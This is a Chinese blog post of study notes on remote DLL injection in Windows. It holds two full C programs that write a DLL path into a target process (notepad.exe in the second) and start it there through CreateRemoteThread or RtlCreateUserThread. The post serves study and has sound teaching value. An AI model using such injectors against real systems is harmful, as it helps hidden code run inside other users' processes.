远程DLL注入研究

  1. CreateRemoteThread远程线程调用
  2. RtlCreateUserThread DLL远程注入

太久没更新,都忘了写了。最近研究了一下远程DLL注入
做个笔记

CreateRemoteThread远程线程调用

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 等待远程线程结束(卸载DLL)
#include "stdafx.h"
#include <Windows.h>
int main(int argc,char *argv[])
{
        DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD |  PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
        BOOL bInheritHandle=0;
        DWORD dwProcessId;
        PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径
        int dlllen = lstrlen(dllPath);
        int dllbytes = dlllen * 2; //计算dll路径长度
        if (argc == 2) {
               dwProcessId = atoi(argv[1]);
        }
        else {
               printf("Example:test.exe <process_id>\n");
               exit(1);
        }
        HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄
        if (process==0){
               printf("[-] OpenProcess failure,Error code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] OpenProcess Sucess\n");
        }
        LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间
        if (vallex == 0) {
               printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError());
               exit(1);
        }
        else {
               printf("[*] VirtualAllocEx Sucess\n");
        }
        if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入
               printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] WriteProcessMemory Sucess\n");
        }
        FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")),  "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] GetProcAddress Sucess\n");
        }
        HANDLE createthread_ = CreateRemoteThread(process, 0, 0,  LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll
        if (createthread_ == 0) {
               printf("[-] createthread failure,Error Code:%d\n", GetLastError());
               exit(1);
        }
        else {
               printf("[*] CreateRemoteThread Sucess\n");
               WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL)
        }
        return 0;
}

注入测试

RtlCreateUserThread DLL远程注入

RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。

原理:

* 读取目标要注入dll的进程句柄
* 计算存储DLL路径所需要的字节数
* 为远程进程分配一个内存以存储DLL路径名称
* 复制DLL路径到远程进程
* 获取LoadLibraryW在Kernel32.dll中的地址
* 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL
* 在卸载的时候会此DLL
#include "stdafx.h"
#include <Windows.h>
#include <tlhelp32.h>
typedef DWORD(WINAPI * pRtlCreateUserThread)(
        HANDLE      ProcessHandle,
        PSECURITY_DESCRIPTOR  SecurityDescriptor,
        BOOL      CreateSuspended,
        ULONG     StackZeroBits,
        PULONG     StackReserved,
        PULONG     StackCommit,
        LPVOID     StartAddress,
        LPVOID     StartParameter,
        HANDLE      ThreadHandle,
        LPVOID     ClientID
        );
DWORD findbyname(WCHAR *name) {
        HANDLE p;
        PROCESSENTRY32W p2;
        p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        p2.dwSize = sizeof(PROCESSENTRY32);
        printf("Proces Listlen:%d\n", p2.dwSize);
        BOOL besult = Process32FirstW(p, &p2);
        int calc = 0;
        while (besult!=FALSE) {
               int pid = p2.th32ProcessID;
               WCHAR *processname = p2.szExeFile;
               if (wcscmp(processname, name) == 0) {
                       printf("%d ", pid);
                       wprintf(processname);
                       printf("\n");
                       return pid;
               }
               besult=Process32NextW(p,&p2);
               calc++;
        }
        return 0;
}
void Errorcode() {
        printf(",Error Code:%d\n", GetLastError());
        exit(1);
}
DWORD dllinject(LPCSTR dll,int pid) {
        HANDLE h;
        h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        if (h == 0) {
               printf("[-] OpenProcess failure");
               Errorcode();
        }
        printf("[*] OpenProcess Sucess\n");
        LPVOID moduleaddress =  (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA");
        if (moduleaddress == 0) {
               printf("[-] GetProcAddress LoadLibraryW failure");
               Errorcode();
        }
        printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n",  moduleaddress);
        pRtlCreateUserThread RtlCreateUserThread = NULL;
        RtlCreateUserThread =  (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),  "RtlCreateUserThread");
        if (RtlCreateUserThread == 0) {
               printf("[-] GetProcAddress RtlCreateUserThread failure");
               Errorcode();
        }
        printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n",  RtlCreateUserThread);
        //DWORD dwSize = (strlen(dll) + 1) * sizeof(char);
        SIZE_T dwSize = strlen(dll);
        LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
        if (vt == 0) {
               printf("[-] VirtualAllocEx failure");
               Errorcode();
        }
        printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt);
        BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0);
        if (dlladdress == 0) {
               printf("[-] WriteProcessMemory failure");
               Errorcode();
        }
        printf("[*] WriteProcessMemory Sucess\n");
        HANDLE hRemoteThread = NULL;
         RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL);
        printf("%d\n", GetLastError());
        if (hRemoteThread ==0) {
               printf("[-] RtlCreateUserThread failure");
               Errorcode();
               return 1;
        }
        printf("[*] RtlCreateUserThread Sucess\n");
        printf("[+] Dll Inject Sucess\n");
        return 0;
}
int main()
{
        WCHAR *processname = TEXT("notepad.exe");
        LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll";
        printf("DLL PATH:");
        printf("\n");
        int pid=findbyname(processname);
        dllinject(dllpath, pid);
        system("pause");
    return 0;
}


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:远程DLL注入研究

本文作者:九世

发布时间:2020-09-14, 01:22:11

最后更新:2020-09-14, 01:28:55

原始链接:http://422926799.github.io/posts/7c405794.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录